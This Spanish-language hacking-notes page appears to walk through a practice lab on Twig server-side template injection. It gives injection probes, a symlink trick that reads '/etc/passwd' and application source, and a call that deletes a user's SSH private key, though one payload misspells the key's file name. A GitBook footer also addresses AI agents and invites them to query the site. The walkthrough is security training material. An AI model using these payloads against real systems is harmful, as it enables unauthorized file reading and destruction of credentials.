> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssti/ssti-with-custom-exploit.md).

# SSTI con un exploit personalizado

### Inyección de plantillas del lado del servidor con un exploit personalizado

La aplicación es susceptible a una inyección SSTI. / El objetivo es crear un personalizado **exploit** que te permite eliminar el `/home/carlos/.ssh/id_rsa`\*\* archivo. / Posible conexión con el usuario: `wiener:peter`.

#### Punto inyectable

El **apodo** el campo es vulnerable:

```python
}}{{7*7
```

La expresión se evalúa.

<figure><img src="/files/c0e967e0b30536b47f935157a792a024d58bf9ae" alt=""><figcaption></figcaption></figure>

Al provocar un error:

```php
}}{{7/a
```

Se descubre que el motor utilizado es **Twig (PHP)**.

<figure><img src="/files/c805b2ed6534e027713ed18bb3a3d8a72b3c402e" alt=""><figcaption></figcaption></figure>

#### Desvío de la función de D

Es posible definir un avatar personalizado mediante:

```php
user.setAvatar(PATH, 'image/jpg')
```

<figure><img src="/files/915025f40f40e099f4c9efccf3f3f9140662272d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a67aecb1d8dfa3e3c2435e91be2adcc56e51124c" alt="" width="496"><figcaption></figcaption></figure>

Este mecanismo crea un **enlace simbólico** a cualquier archivo legible. / Así, puedes recuperar tu contenido descargando el avatar.

#### Ejemplo

Leer `/etc/passwd`

```php
user.setAvatar('/etc/passwd','image/jpg')
```

El archivo es accesible al abrir la imagen

<figure><img src="/files/140cb5e317b1d162de52364b8aa274b9abe4fbbb" alt=""><figcaption></figcaption></figure>

#### Análisis de código `User.php`

El `/home/carlos/User.php` el archivo revela:

<figure><img src="/files/7b035efc04669131f787f68e37a40b984893a2f4" alt=""><figcaption></figcaption></figure>

\*\*El `gdprDelete()` la función realmente elimina el archivo señalado por el enlace simbólico. \*\*/ Esto es exactamente lo que se debe usar para borrar `id_rsa`.

```php
user.setAvatar('/home/carlos/User.php','image/jpg')
```

```php
<?php

class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;

    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";

        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("No se pudo crear el directorio users/" . $this->username);
            }
        }
    }

    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("El tipo MIME del archivo subido no es una imagen: " . $mimetype);
        }

        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }

        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("No se pudo escribir el enlace simbólico " . $filename . " -> " . $this->avatarLink);
        }
    }


    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }

    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("No se pudo eliminar " . $filename);
        }
    }
}

?>
```

#### Operación: Eliminación de `/home/carlos/.ssh/id_rsa`

Crear un enlace simbólico a la clave SSH de Carlos

```php
user.setAvatar('/home/carlos/.ssh/id_rda','image/jpg')
```

Activar la eliminación mediante:

```php
user.gdprDelete()
```

El enlace simbólico apunta a `id_rsa`/ `gdprDelete()` borra el **destino** enlace \*\*`id_rsa` el archivo se elimina. \*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/ssti/ssti-with-custom-exploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
